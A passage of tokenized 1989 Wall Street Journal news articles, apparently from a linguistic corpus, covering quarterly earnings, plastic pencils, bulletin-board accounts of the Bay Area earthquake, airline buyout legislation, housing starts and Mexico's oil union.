an amicable parting '' with Capital Holding and that he has `` a number of ventures in the financial-services area '' under consideration . +He said that his resignation was a mutual decision with Capital Holding management , but that he was n't actually asked to resign . +The Accumulation and Investment Group is responsible for the investment operations of all Capital Holding 's insurance businesses and markets guaranteed investment contracts to bank trust departments and other institutions . +It also sells single-premium annuities to individuals . +Mr. Bailey said he expects to name a new group president to head that operation following the Nov. 8 board meeting . +@ +Money Market Deposits - a 6.23 % +a - Average rate paid yesterday by 100 large banks and thrifts in the 10 largest metropolitan areas as compiled by Bank Rate Monitor . +b - Current annual yield . +Guaranteed minimum 6 % . +-LRB- During its centennial year , The Wall Street Journal will report events of the past century that stand as milestones of American business history . -RRB- +PLASTIC PENCILS , CODE-NAMED E-71 , made their hush-hush debut in children 's pencil boxes at five-and-dime stores in 1973 . +But few knew it then and most still think all pencils are wooden . +Eagle Pencil of Shelbyville , Tenn. , `` Pencil City U.S.A. , '' had made its earliest pilot plastic pencils in 1971 . +But it was n't until after it hired Arthur D. Little , a Cambridge , Mass. , research concern , that its new product was refined for commercial sale in 1973 . +Three A.D.L. inventors applied April 6 , 1973 , for the patent , which was assigned and awarded in 1976 to Hasbro Industries , then Eagle 's parent . +Pencil pushers chew and put the plastic models behind their ears just like traditional pencils made of glued strips of California incense cedar filled with ceramic lead . +It takes five steps to make standard pencils , just one for the plastic type . +Automated machines coextrude long plastic sheaths with graphite-plastic cores that are printed , cut , painted and eraser-fitted . +`` After more than 200 years , something new has happened to pencils , '' said Arthur D. Little in a 1974 report that publicly described the previously secret item . +Eagle 's plastic type sharpens and looks like a wooden pencil . +A major difference is that a snapped wooden pencil will have a slivered break while a plastic model will break cleanly . +The softness of the core constrains the plastic models to No. 1 , No. 2 or No. 3-type pencils , which account for the bulk of the market . +Artists and draftsmen need harder `` leads . '' +Eagle , now called Eagle-Berol , remains a leading company among the 10 in the U.S. that produced about 2.3 billion pencils last year , according to the Pencil Makers Association . +It 's a trade secret how many were plastic , and most writers still do n't know what they 're using . +H.F. Ahmanson & Co. , the nation 's largest thrift holding company , posted a 12 % earnings decline for the third quarter while another large California savings and loan , Great Western Financial Corp. , reported a slight earnings gain . +H.F. Ahmanson , parent of Home Savings of America , reported third-quarter net of $ 49.2 million , or 50 cents a share , down from $ 56.1 million , or 57 cents a share , in the year-earlier period . +Most of the earnings decline reflected an increase in the company 's effective tax rate to 44 % from 37 % in the year-ago third quarter when nonrecurring tax credits were recorded , the company said . +Pretax earnings declined 1.3 % . +For the nine months , Los Angeles-based H.F. Ahmanson had profit of $ 128.1 million , or $ 1.29 a share , a 4.6 % decline from earnings of $ 134.2 million in the year-ago nine months . +The company said the decline was attributable to a 79 % reduction in net gains on loan sales this year . +Third-quarter spreads widened to the highest level in two years as loan portfolio yields rose and money costs declined , the company said . +Great Western Financial said third-quarter profit rose slightly to $ 68.4 million , or 52 cents a share , from $ 67.9 million , or 53 cents a share , from a year ago . +Great Western , based in Beverly Hills , Calif. , is a financial services firm and parent to Great Western Bank , an S&L . +Great Western said it had a sharp increase in margins in the recent third quarter . +Margins are the difference between the yield on the company 's earning assets and its own cost of funds . +But a reduction in one-time gains on the sale of various assets and an increase in the company 's provision for loan losses held down the earnings gain , the company said . +Great Western 's provision for loan losses was increased to $ 27.9 million for the recent quarter compared with $ 21.8 million a year ago primarily as a result of `` continued weakness in various commercial and multifamily real estate markets outside California . '' +For the nine months Great Western posted net of $ 177.5 million , or $ 1.37 a share , a 5.9 % decline from $ 188.7 million , or $ 1.48 a share , in the year-ago period . +Dun & Bradstreet Corp. posted a 15 % rise in third-quarter earnings . +But revenue declined more than 2 % , reflecting in part a continuing drop in sales of credit services in the wake of controversy over the company 's sales practices . +The information company also cited the stronger dollar , the sale last year of its former Official Airline Guides unit and other factors . +Net income rose to a record $ 155.3 million , or 83 cents a share , from $ 134.8 million , or 72 cents a share . +Revenue fell to $ 1.04 billion from $ 1.07 billion . +In composite trading on the New York Stock Exchange , Dun & Bradstreet closed yesterday at $ 53.75 , down 25 cents a share . +Analysts said the results were as expected , but several added that the earnings masked underlying weaknesses in several businesses . +`` The quality of earnings was n't as high as I expected , '' said Eric Philo , an analyst for Goldman , Sachs & Co . +For example , he noted , operating profit was weaker than he had anticipated , but nonoperating earnings of $ 14.6 million and a lower tax rate helped boost net income . +Dun & Bradstreet said operating earnings rose 8 % , excluding the sale of Official Airline Guides . +Third-quarter sales of U.S. credit services were `` disappointingly below sales '' of a year earlier , Dun & Bradstreet said . +As previously reported , those sales have been declining this year in the wake of allegations that the company engaged in unfair sales practices that encouraged customers to overpurchase services . +The company has denied the allegations but has negotiated a proposed $ 18 million settlement of related lawsuits . +Analysts predict the sales impact will linger . +`` There is n't much question there will continue to be a ripple effect , '' said John Reidy , an analyst with Drexel Burnham Lambert Inc . +Dun & Bradstreet noted that price competition in its Nielsen Marketing Research , Nielsen Clearing House and Donnelley Marketing businesses also restrained revenue growth . +It cited cyclical conditions in its Moody 's Investors Service Inc. and D&B Plan Services units . +For the nine months , net income rose 19 % to $ 449 million , or $ 2.40 a share , from $ 375.9 million , or $ 2.01 a share , a year earlier . +Year-earlier earnings reflected costs of $ 14.3 million related to the acquisition of IMS International . +Revenue rose slightly to $ 3.16 billion from $ 3.13 billion . +Control Data Corp. said it licensed its airline yield-management software to the International Air Transport Association . +Terms include a royalty arrangement , but details were n't disclosed . +The computer equipment and financial services company said IATA , a trade group , will sell access to the package to its 180 airline members world-wide . +Control Data will receive revenue linked to the number of passengers served by the software , IATA said . +The package helps carriers solve pricing problems , such as how to react to discounts offered by competitors or what would be the optimum number of seats to offer at a given price . +Wheeling-Pittsburgh Steel Corp. said it decided to proceed with installation of automatic gauge and shape controls at its 60-inch tandem cold rolling mill in Allenport , Pa . +The new equipment , which will produce steel sheet with more uniform thickness and flatness , is likely to cost more than $ 20 million , the company said . +When the company last considered adding the equipment two years ago , it estimated the cost at $ 21 million to $ 22 million , but a task force will have to prepare a detailed plan before the company can predict the current cost . +The time schedule for installing the equipment also will be developed by the task force , the company said . +Sir Richard Butler , 60-year-old chairman of Agricola -LRB- U.K . -RRB- Ltd. , was named chairman of County NatWest Investment Management Ltd. , the investment management subsidiary of County NatWest Ltd. , the investment banking arm of this British bank . +Sir Richard succeeds John Plastow , who resigned in July . +Sir Richard is also a non-executive director at National Westminister Bank and NatWest Investment Bank Ltd . +In the long , frightening night after Tuesday 's devastating earthquake , Bay Area residents searched for comfort and solace wherever they could . +Some found it on the screen of a personal computer . +Hundreds of Californians made their way to their computers after the quake , and checked in with each other on electronic bulletin boards , which link computers CB-radio-style , via phone lines . +Some of the most vivid bulletins came over The Well , a Sausalito , Calif. , board that is one of the liveliest outposts of the electronic underground . +About two-thirds of the Well 's 3,000 subscribers live in the Bay Area . +The quake knocked The Well out for six hours , but when it came back up , it teemed with emotional first-hand reports . +Following are excerpts from the electronic traffic that night . +The time is Pacific Daylight Time , and the initials or nicknames are those subscribers use to identify themselves . +11:54 p.m . +JCKC : +Wow ! +I was in the avenues , on the third floor of an old building , and except for my heart -LRB- Beat , BEAT ! -RRB- I 'm OK . +Got back to Bolinas , and everything had fallen : broken poster frames with glass on the floor , file cabinets open or dumped onto the floor . +11:59 p.m . +JKD : +I was in my favorite watering hole , waiting for the game to start . +I felt the temblor begin and glanced at the table next to mine , smiled that guilty smile and we both mouthed the words , `` Earth-quake ! '' together . +That 's usually how long it takes for the temblors to pass . +This time , it just got stronger and then the building started shaking violently up and down as though it were a child 's toy block that was being tossed . +12:06 a.m . +HRH : +I was in the Berkeley Main library when it hit . +Endless seconds wondering if those huge windows would buckle and shower us with glass . +Only a few books fell in the reading room . +Then the auto paint shop fire sent an evil-looking cloud of black smoke into the air . +12:07 a.m . +ONEZIE : +My younger daughter and I are fine . +This building shook like hell and it kept getting stronger . +Except for the gas tank at Hustead 's Towing Service exploding and burning in downtown Berkeley , things here are quite peaceful . +A lot of car alarms went off . +The cats are fine , although nervous . +12:15 a.m . +DHAWK : +Huge fire from broken gas main in the Marina in SF . +Areas that are made of ` fill ' liquefy . +A woman in a three-story apartment was able to walk out the window of the third floor onto street level after the quake . +The house just settled right down into the ground . +12:38 a.m . +DAYAC : +I was driving my truck , stopped at a red light at the corner of Shattuck and Alcatraz at the Oakland-Berkeley border when it hit . +Worst part was watching power lines waving above my head and no way to drive away . +12:48 a.m . +LMEYER : +Was 300 ft. out on a pier in San Rafael . +It flopped all around , real dramatic ! +Many hairline cracks in the concrete slabs afterwards . +Ruined the damn fishing ! +1:00 a.m . +HEYNOW : +I rode it out on the second floor of Leo 's at 55th and Telegraph in Oakland . +I heard parts of the building above my head cracking . +I actually thought that I might die . +I could n't decide if I should come home to Marin , because my house is on stilts . +I decided to brave the storm . +There was a horrible smell of gas as I passed the Chevron refinery before crossing the Richmond-San Rafael Bridge . +I could also see the clouds across the bay from the horrible fire in the Marina District of San Francisco . +I have felt many aftershocks . +My back is still in knots and my hands are still shaking . +I think a few of the aftershocks might just be my body shaking . +1:11 a.m. +GR8FLRED : +I could see the flames from San Francisco from my house across the bay . +It 's hard to believe this really is happening . +1:11 a.m . +RD : +Building on the corner severely damaged , so an old lady and her very old mother are in the guest room . +Books and software everywhere . +This being typed in a standing position . +1:20 a.m . +DGAULT : +Bolinas -- astride the San Andreas Fault . +Did n't feel a thing , but noticed some strange bird behavior . +Duck swarms . +3:25 a.m . +SAMURAI : +I just felt another aftershock a few seconds ago . +I 'm just numb . +3:25 a.m . +MACPOST : +Downtown Bolinas seems to be the part of town that 's worst off . +No power , minimal phones , and a mess of mayonnaise , wine , and everything else all over the floors of the big old general store and the People 's Co-op . +The quivers move through my house every few minutes at unpredictable intervals , and the mouse that 's been living in my kitchen has taken refuge under my desk . +It runs out frantically now and then , and is clearly pretty distressed . +I was in Stinson Beach when the quake rolled through town . +At first , we were unfazed . +Then as things got rougher , we ran for the door and spent the next few minutes outside watching the brick sidewalk under our feet oozing up and down , and the flowers waving in an eerie rhythm . +Amazing what it does to one 's heart rate and one 's short-term memory . +Everyone looked calm , but there was this surreal low level of confusion as the aftershocks continued . +4:02 a.m . +SHIBUMI : +Power is back on , and UCSF -LCB- medical center -RCB- seems to have quieted down for the night -LRB- they were doing triage out in the parking lot from the sound and lights of it -RRB- . +A friend of mine was in an underground computer center in downtown SF when the quake hit . +He said that one of the computers took a three-foot trip sliding across the floor . +Today should be interesting as people realize how hard life is going to be here for a while . +4:30 a.m . +KIM : +I got home , let the dogs into the house and noticed some sounds above my head , as if someone were walking on the roof , or upstairs . +Then I noticed the car was bouncing up and down as if someone were jumping on it . +I realized what was happening and screamed into the house for the dogs . +Cupboard doors were flying , the trash can in the kitchen walked a few feet , the dogs came running , and I scooted them into the dog run and stood in the doorway myself , watching the outside trash cans dance across the concrete . +When I realized it was over , I went and stood out in front of the house , waiting and praying for Merrill to come home , shivering as if it were 20 below zero until he got there . +Never in my life have I been so frightened . +When I saw the pictures of 880 and the Bay Bridge , I began to cry . +5:09 a.m . +JROE : +The Sunset -LCB- District -RCB- was more or less like a pajama party all evening , lots of people & dogs walking around , drinking beer . +6:50 a.m . +CAROLG : +I was just sitting down to meet with some new therapy clients , a couple , and the building started shaking like crazy . +It 's a flimsy structure , built up on supports , and it was really rocking around . +The three of us stopped breathing for a moment , and then when it kept on coming we lunged for the doorway . +Needless to say , it was an interesting first session ! +7:13 a.m . +CALLIOPE : +Albany escaped embarrassingly unscathed . +Biggest trouble was scared family who could n't get a phone line through , and spent a really horrible hour not knowing . +8:01 a.m . +HLR : +Judy and I were in our back yard when the lawn started rolling like ocean waves . +We ran into the house to get Mame , but the next tremor threw me in the air and bounced me as I tried to get to my feet . +We are all fine here , although Mame was extremely freaked . +Kitchen full of broken crystal . +Books and tapes all over my room . +Not one thing in the house is where it is supposed to be , but the structure is fine . +While I was standing on the lawn with Mame , waiting for another tremor , I noticed that all the earthworms were emerging from the ground and slithering across the lawn ! +9:31 a.m. +GR8FLRED : +It 's amazing how one second can so completely change your life . +9:38 a.m . +FIG : +I guess we 're all living very tentatively here , waiting for the expected but dreaded aftershock . +It 's hard to accept that it 's over and only took 15 seconds . +I wonder when we 'll be able to relax . +9:53 a.m . +PANDA : +Flesh goes to total alert for flight or fight . +Nausea seems a commonplace symptom . +Berkeley very quiet right now . +I walked along Shattuck between Delaware and Cedar at a few minutes before eight this morning . +Next to Chez Panisse a homeless couple , bundled into a blue sleeping bag , sat up , said , `` Good morning '' and then the woman smiled , said , `` Is n't it great just to be alive ? '' +I agreed . +It is . +Great . +Georgia-Pacific Corp. , exceeding some analysts ' expectations , said third-quarter earnings rose 56 % to $ 178 million , or $ 2.03 a share , from $ 114 million , or $ 1.19 a share , in the year-earlier period . +Sales increased 10 % to $ 2.65 billion from $ 2.41 billion . +Per-share earnings were enhanced by the company 's share buy-back program , which reduced the average shares outstanding to 87.5 million in the quarter from 95.8 million in the same quarter of 1988 . +With strong prices in the company 's two major areas -- building products as well as pulp and paper -- analysts had expected a roaring quarter . +But the performance exceeded some estimates of around $ 1.90 a share . +Fueling the growth , among other things , were higher-than-expected prices for certain building products . +One reason : efforts to protect the spotted owl led to restrictions on logging in the Pacific Northwest , constricting supply and forcing prices up . +Another reason : strikes , both at Georgia-Pacific and other lumber companies also cut supplies and raised prices , analysts said . +For the nine months , Georgia-Pacific 's earnings increased 49 % to $ 504 million , or $ 5.58 a share , from $ 338 million , or $ 3.41 a share . +Sales rose 11 % to $ 7.73 billion from $ 6.94 billion . +In composite New York Stock Exchange Trading , Georgia-Pacific stock rose $ 1.25 a share yesterday to close at $ 58 . +The House Public Works and Transportation Committee approved a bill that would give the Transportation Department power to block airline leveraged buy-outs , despite a clear veto threat from the Bush administration . +The 23-5 vote clears the way for consideration on the House floor next week or the week after . +Transportation Secretary Samuel Skinner , in a letter to the committee , warned that he would urge President Bush to veto the legislation if it passed Congress . +The Senate Commerce Committee already has approved similar legislation . +On Monday , a letter from Mr. Skinner 's deputy , Elaine Chao , said the administration opposed the legislation `` in its present form . '' +Some of the bill 's supporters had taken heart from the fact that the letter was n't signed by Mr. Skinner and that it did n't contain a veto threat . +The stepped-up administration warnings annoyed some lawmakers , especially senior Republicans who supported the bill because they thought the Transportation Department favored it . +`` We backed this bill because we thought it would help Skinner , '' one Republican said , `` and now we 're out there dangling in the wind . '' +A few weeks ago , Mr. Skinner testified before Congress that it would be `` cleaner , more efficient '' if he had authority to block buy-outs in advance . +But he never took an official position on the bill and has steadfastly maintained that he already has enough authority to deal with buy-outs . +Under the committee bill , the Transportation secretary would have 30 days , and an additional 20 days if needed , to review any proposed purchase of 15 % or more of a major U.S. airline 's voting stock . +The secretary would be required to block an acquisition if he concluded that it would so weaken an airline financially that it would hurt safety or reduce the carrier 's ability to compete , or if it gave control to a foreign interest . +Although the legislation would apply to any acquisition of a major airline , it is aimed at transactions financed by large amounts of debt . +Supporters of the bill are concerned an airline might sacrifice costly safety measures in order to repay debt . +The panel 's action occurs in a politically charged atmosphere surrounding recent buy-out proposals , their apparent collapse and the volatile conditions in the stock market . +`` It became apparent in hearings that there ought to be regulation of leveraged buy-outs of some sort , '' Rep. James Oberstar -LRB- D. , Minn. -RRB- , chairman of the House Aviation Subcommittee , said during the panel 's deliberations . +`` I do n't believe in the airline business you can be totally laissez-faire because of the high degree of public interest '' at stake . +But Mr. Skinner disagreed , calling the legislation `` a retreat from the policy of deregulaton of the airline industry . '' +In his letter to Committee Chairman Glenn Anderson -LRB- D. , Calif. -RRB- , the secretary also said the bill `` would be at odds with the administration 's policies welcoming open foreign investment and market allocation of resources . '' +Currently , the Transportation Department does n't have the authority to block a takeover in advance . +However , if the secretary concludes that a transaction has made a carrier unfit to operate , the department may revoke its certificate , grounding the airline . +Such authority is more than adequate , say opponents of the legislation . +But supporters argue that grounding an airline is so drastic that the department would hesitate doing it . +The panel rejected a proposal pushed by AMR Corp. , the parent of American Airlines , to allow the Transportation secretary to block corporate raiders from waging proxy fights to oust boards that oppose a leveraged buy-out . +It also voted down proposals to give the secretary much more discretion on whether to block a buy-out and to require the department to consider the impact of a buy-out on workers . +London shares rallied to post strong gains after initial fears evaporated that the California earthquake would depress Wall Street prices . +Tokyo stocks , which rebounded strongly Tuesday , extended their gains yesterday , but most other Asian and Pacific markets closed sharply lower . +In London , the Financial Times-Stock Exchange 100-share index jumped 34.6 points to close at its intraday high of 2170.1 . +The index was under pressure for most of the morning over concerns that the effects of Tuesday night 's major earthquake in the San Francisco area would undermine the U.S. market . +The mood changed after dealers reappraised the direct impact of the disaster on shares and Wall Street rebounded from early losses . +The Financial Times 30-share index settled 27.8 points higher at 1758.5 . +Volume was 449.3 million shares , the slowest of a hectic week , compared with 643.4 million Tuesday . +U.K. composite , or non-life , insurers , which some equity analysts said might be heavily hit by the earthquake disaster , helped support the London market by showing only narrow losses in early trading . +The insurers ' relative resilience gave the market time to reappraise the impact of the California disaster on U.K. equities , dealers said . +Dealers said the market still has n't shaken off its nervousness after its bumpy ride of the past several sessions , caused by interest-rate increases last week and Wall Street 's 6.9 % plunge Friday . +But technical factors , including modest gains in the value of the pound , helped draw buying back into the market and reverse losses posted a day earlier . +Among composite insurers , General Accident rose 10 pence to # 10.03 -LRB- $ 15.80 -RRB- a share , Guardian Royal climbed 5 to 217 pence , Sun Alliance rose 3 to 290 , and Royal Insurance jumped 12 to 450 . +Life insurers fared similarly , with Legal & General advancing 3 to 344 , although Prudential fell 2 to 184 1\/2 . +Pearl Group rose 5 to 628 , and Sun Life finished unchanged at # 10.98 . +Most banking issues retreated after a sector downgrade by Warburg Securities , although National Westminister showed strength on positive comments from brokerage firms about its long-term prospects . +NatWest , the most actively traded of the banks , finished at 300 , up 1 . +B.A.T Industries fell in early dealings but recovered to finish at 754 , up 5 . +Dealers said the market was nervous ahead of a special B.A.T holders ' meeting today . +The session is to consider a defensive plan to spin off assets to fend off Sir James Goldsmith 's # 13.4 billion bid for B.A.T . +The recent stock market drop has shaken confidence in the plan , but dealers said the shares fell initially on questions about whether Mr. Goldsmith 's highly leveraged bid will come to fruition . +Trading was suspended in WCRS Group , a U.K. advertising concern , pending an announcement that it is buying the remaining 50 % of France 's Carat Holding for 2.02 billion French francs -LRB- $ 318.7 million -RRB- and expanding commercial and equity ties with advertising group Eurocom . +Merchant banker Morgan Grenfell climbed 14 to 406 on renewed takeover speculation . +S.G. Warburg , also mentioned in the rumor mill , jumped 14 at to 414 . +Jaguar advanced 19 to 673 as traders contemplated a potential battle between General Motors and Ford Motor for control of the U.K. luxury auto maker . +Tokyo 's Nikkei index of 225 issues rose 111.48 points , or 0.32 % , to 35107.56 . +The index gained 527.39 Tuesday . +Volume was estimated at 800 million shares , compared with 678 million Tuesday . +Declining issues outnumbered advancers 505-455 , with 172 unchanged . +The Tokyo Stock Price Index of all issues listed in the first section , which gained 41.76 Tuesday , was up 0.24 points , or 0.01 % , at 2642.88 . +In early trading in Tokyo Thursday , the Nikkei index rose 135.09 points to 35242.65 . +On Wednesday , shares were pushed up by index-related buying on the part of investment trusts as well as small orders from individuals and corporations , traders said . +Institutions , meanwhile , stepped back to the sidelines as the direction of U.S. interest rates remained unclear . +The uncertainty was multiplied by the persistent strength of the dollar , traders said , and by the U.S. trade deficit , which widened by 31 % in August from the previous month . +Traders and analysts said they did n't see any effect on Tokyo stocks from the California earthquake . +The impact on Japanese insurers and property owners with interests in the San Francisco area is still being assessed , they said . +Buying was scattered across a wide range of issues , making the session fairly characterless , traders said . +With uncertainty still hanging over interest rates and the dollar , the market failed to find a focus that might lead to further investor commitments , they said . +Some traders said the popularity of issues that gained yesterday wo n't last long , as investors will rotate their buying choices over the short term . +Interest rate-sensitive shares such as steel , construction and electric utility companies , which rose early in the week , saw their advance weaken yesterday . +Traders said these issues need large-volume buying to push up their prices , so substantial gains are n't likely unless institutional investors participate . +An outstanding issue in yesterday 's session was Mitsubishi Rayon , which surged 95 to 905 yen -LRB- $ 6.34 -RRB- a share . +Its popularity was due to speculation about the strong earnings potential of a new type of plastic wrap for household use , a trader at County Natwest Securities Japan said . +Some laggard food issues attracted bargain-hunters , traders said . +Kirin Brewery was up 100 at 2,000 , and Ajinomoto gained 70 to 2,840 . +Pharmaceuticals were mostly higher , with SS Pharmaceutical gaining 140 to 1,980 . +Shares closed lower in other major Asian and Pacific markets , including Sydney , Hong Kong , Singapore , Taipei , Wellington , Seoul and Manila . +Most of those markets had rebounded the day before from Monday 's slide . +But unlike the Tokyo exchange , they failed to extend the rise to a second session . +Elsewhere , prices surged for a second day in Frankfurt , closed higher in Zurich , Stockholm and Amsterdam and were broadly lower in Milan , Paris and Brussels . +South African gold stocks ended marginally firmer . +In Brussels , it was the first trading day for most major shares since stocks tumbled on Wall Street Friday . +Trading had been impeded by a major computer failure that took place before the start of Monday 's session . +Here are price trends on the world 's major stock markets , as calculated by Morgan Stanley Capital International Perspective , Geneva . +To make them directly comparable , each index is based on the close of 1969 equaling 100 . +The percentage change is since year-end . +Housing construction sank in September to its lowest level since the last recession , the Commerce Department reported . +Work began on homes and apartments at an annual rate of 1,263,000 units last month , down 5.2 % from August , the department said . +The September decline followed an even steeper drop of 6.2 % in August and left housing starts at their weakest since October 1982 , when the country was nearing the end of a recession . +Originally the department had reported the August decline as 5 % . +The numbers suggest that the housing industry is still suffering the effects of the Federal Reserve 's battle against inflation . +The industry had shown signs of recovery this summer , after the central bank began to relax its clamp on credit , allowing interest rates to drop a bit after pushing them up for a year . +Sales of new homes rose and inventories of houses , which had been climbing , dropped . +But last month new construction in all types of homes waned , from single-family houses to large apartment complexes . +`` It 's pretty much weak across the board , '' said Martin Regalia , chief economist of the National Council of Savings Institutions . +Mr. Regalia said the industry may be reluctant to step up building at the moment for fear the inventories of unsold homes will increase again . +Another reason for the weakness , he said , may be that mortgage rates have hit a plateau since they began edging down after a peak in March . +In August , rates on 30-year fixed-rate mortgages started creeping up a bit , but they inched down again through September . +`` Rates have n't really peeled off that much , '' Mr. Regalia said . +`` We 've kind of settled now into an interest-rate environment that 's fairly high . '' +Work was begun on single family homes -- the core of the housing market -- at an annual rate of 971,000 in September , a drop of 2.1 % from the previous month . +That followed a 3.3 % decline in August . +Construction of apartments and other multi-family dwellings slipped 2.2 % to an annual rate of 1,022,000 following a 3.5 % decline in August . +The number of building permits issued for future construction dropped 2.4 % to a 1,296,000 annual rate after rising 3.7 % in August . +All the numbers were adjusted for normal seasonal variations in building activity . +The housing starts numbers , however , are one of the least precise of the government 's economic indicators and are often revised significantly as more information is collected . +Shearson Lehman Hutton Holdings Inc. posted a sharp third-quarter turnaround from a year earlier , but net income would have dropped from the second quarter without a $ 37 million after-tax gain . +The securities firm posted third-quarter net of $ 66 million , or 64 cents a share , compared with a restated year-earlier loss of $ 3 million , or 11 cents a share . +Revenue climbed 25 % to $ 3.3 billion from $ 2.6 billion . +The latest period included the gain , which was $ 77 million before tax , from the previously announced sale of the institutional money management business of Lehman Management Co . +The 1988 period was restated from net income of $ 8 million to correct an overstatement in the company 's Boston Co. subsidiary . +In the 1989 second quarter , Shearson had net income of $ 55 million , or 54 cents a share . +An average 102.5 million common shares were outstanding in the latest quarter , up from 87.1 million . +In New York Stock Exchange composite trading yesterday , Shearson shares lost 37.5 cents to $ 18.125 . +The company said the improved performance from a year ago reflects higher commissions and revenue from marketmaking and trading for its own account . +Commission revenue was $ 522 million , up 49 % . +But industrywide trading activity slowed in September as institutional investors turned cautious and individuals continued to shy away from the market . +Investment banking revenue fell 32 % to $ 205 million , in part reflecting the continued slowdown of the underwriting business . +In the nine months , net fell 3 % to $ 106 million , or 98 cents a share , from $ 110 million , or $ 1.05 a share . +Revenue advanced 26 % to $ 9.6 billion from $ 7.6 billion . +Two major drug companies posted strong third-quarter earnings , in line with profits already reported by industry leaders and analysts ' expectations . +But Pfizer Inc. , based in New York , reported flat earnings . +Schering-Plough Corp. , based in Madison , N.J. , reported a 21 % rise in earnings as American Home Products Corp. of New York posted an 11 % increase in net . +American Home Products +American Home Products said sales and earnings for the third quarter and nine months were at record levels . +Sales for the third quarter increased 6.5 % to $ 1.51 billion from $ 1.42 billion . +Sales of health-care products increased 6 % in the third quarter , based in part on strong sales of prescription drugs such as Premarin , an estrogen-replacement drug , and sales of the company 's infant formula . +American Home Products said net income benefited from a `` lower effective tax rate , '' reflecting a reduction of foreign tax rates , and additional operations in Puerto Rico . +Net also was aided by a gain on the sale of the company 's equity interests in South Africa effective Sept. 1 . +In New York Stock Exchange composite trading yesterday , American Home Products closed at $ 102.25 a share , down 75 cents . +Pfizer +Pfizer said third-quarter sales increased 4 % to $ 1.44 billion from $ 1.38 billion . +The company said net income was flat because of investment in research and development and costs related to launches of several products . +The company said the dollar 's continued strengthening reduced world-wide sales growth by three percentage points . +Pfizer posted its largest gains in healthcare sales , up 3 % , and consumer products , up 23 % . +Sales by the specialty chemicals and materials science segments were flat , and sales by the agriculture segment declined 5 % . +In the health-care segment , pharmaceutical sales increased 4 % and sales of hospital products increased 1 % . +During the quarter , Pfizer received federal approval of Procardia XL , a calcium channel blocker approved for both angina and hypertension , and Monorail Piccolino , used to open obstructed coronary arteries . +In New York Stock Exchange composite trading yesterday , Pfizer closed at $ 67.75 a share , up 75 cents . +Schering-Plough +Schering-Plough said sales gained 2.7 % to $ 743.7 million from $ 724.4 million . +In the period , the company completed the sale of its European cosmetics businesses , sold a majority interest in its Brazilian affiliate , and announced the reorganization of its over-the-counter drug businesses into a new unit , Schering-Plough Health Care Products . +These actions did n't affect results because the gain on the sale of the European cosmetics businesses was offset by provisions relating to the Brazil divestiture and drug restructuring . +U.S. pharmaceutical sales rose 15 % , led by allergy , asthma and cold products ; dermatological products ; anti-infectives and anti-cancer products ; and cardiovascular products . +World-wide consumer product sales declined 12 % , primarily because of the European cosmetics sale . +Significantly lower sales of ` Stay Trim ' diet aids also were a factor in the drop . +The Maybelline beauty product line had higher sales following a sluggish first half . +In Big Board composite trading , Schering-Plough shares fell 75 cents to close at $ 74.125 . +Swedish auto and aerospace concern Saab-Scania AB said it received a 250 million krona -LRB- $ 39 million -RRB- order from Swiss Crossair , one of Europe 's leading regional air companies , for five Saab 340B turboprop commuter aircraft . +It is quite unfortunate that you failed so miserably in reporting the Hurricane Hugo disaster . +Your Sept. 27 page-one article `` Charleston Lost Quite a Lot to Hugo , Especially Gentility '' leaves the impression that the storm was little more than an inconvenience . +The damage reported focused on a select few who owned irreplaceable historic homes on the Battery . +Not mentioned were the 50,000 people rendered homeless , and the more than 200,000 out of work for an indeterminable period ; the $ 1 billion-plus in losses to homes and personal property on the barrier islands ; the near - and long-term impact on the state 's largest industry , tourism , not to mention the human suffering . +In centering on the disruption of a few proud local customs such as the historic homes tour and the damage to the antiquities , your reporter served to only perpetuate an outdated and stereotypically provincial view of this otherwise thriving port city . +The damage will undoubtedly prove to be one of the epic human and economic disasters of the decade in this country . +David M. Carroll +Columbia , S.C . +Your story was tasteless and insensitive . +Depicting the people of a traumatized city reeling from a disaster of unprecedented proportions was at the very best ludicrous under the circumstances . +Your narrow focus appears to be a contrived attempt to show the people of that historic city to be doddering fools . +You had to have been blind not to see the scenario there for what it was and is and will continue to be for months and even years -- a part of South Carolina that has sustained a blow that the Red Cross expects will cost that organization alone some $ 38 million . +William C. Barksdale Jr . +Columbia , S.C . +Charleston is historic and aristocratic , as your reporter said , but not haughty , as he suggested . +Charlestonians are instead indomitable and have contributed mightily to the culture and history of our country for more than 300 years . +I suggest your reporter see Charleston next spring in its full glory . +William C. Stuart III +Silver Spring , Md . +Affiliated Bankshares of Colorado Inc. said it agreed to sell its 10 % interest in Rocky Mountain Bankcard Systems for $ 18.5 million to Colorado National Bank of Denver and Central Bank of Denver . +Colorado National is a unit of Colorado National Bankshares Inc. and Central is a unit of First Bank System of Minneapolis . +Affiliated said it expects to record a pretax gain of about $ 18.5 million from the sale of the credit-card business , which should more than offset any reduction in the carrying value of real estate and real-estate loans on its books . +The U.S. Export-Import Bank tentatively decided to guarantee commercial bank financing for the purchase of two Boeing Co. 767 airliners by Avianca , Colombia 's international airline , at a cost of about $ 150 million . +The loan guarantee would amount to about $ 127.5 million , or 85 % of the cost of the aircraft . +Because of the size of the proposed loan guarantee , the Ex-Im Bank 's preliminary commitment is subject to review by the House and Senate Banking committees . +Ex-Im Bank officials said this review process currently is under way . +Sebastian Guzman Cabrera took over the oil workers union , Mexico 's most powerful labor organization , only last January . +But even in that short time Mr. Guzman Cabrera has become as controversial in his own way as his deposed predecessor , Joaquin Hernandez Galicia , known as La Quina . +President Carlos Salinas de Gortari used the army to oust La Quina , who reigned for 28 years over a graft-riddled empire that made state-run Petroleos Mexicanos , or Pemex , one of the world 's most inefficient oil companies . +Now , Mr. Guzman Cabrera is facing accusations that he 's as much a company man as La Quina was a crook . +In recent contract negotiations with Pemex management , Mr. Guzman Cabrera accepted major concessions that greatly curtail the union 's role in subcontracting , long a source of millions of dollars in illicit earnings . +And with the quiet pragmatism of Mr. Guzman Cabrera replacing the prickly populism of La Quina , government technocrats have been given a free hand to open the petrochemical sector to wider private and foreign investment . +Mr. Guzman Cabrera 's new order has n't arrived without resistance . +Brawls between union factions still erupt at Pemex installations . +Leftist leader Cuauhtemoc Cardenas publicly questioned Mr. Guzman Cabrera 's `` moral quality , '' suggesting he is part of a conspiracy to turn over the country 's oil , a symbol of Mexican nationalism , to foreigners . +The 61-year-old Mr. Guzman Cabrera takes such criticisms in stride . +`` This is n't a new kind of union leadership , it 's a new Mexico . +We 're no longer afraid of associating with private or foreign capital , '' he says . +Pemex , which produces 40 % of government revenue , desperately needs new investment . +Since world oil prices collapsed in 1982 , the government has siphoned Pemex 's coffers to make payments on Mexico 's $ 97 billion foreign debt . +Little money has been returned to upgrade Pemex 's aging facilities . +While the government drains Pemex from above , the union has drained it from below . +A bloated payroll 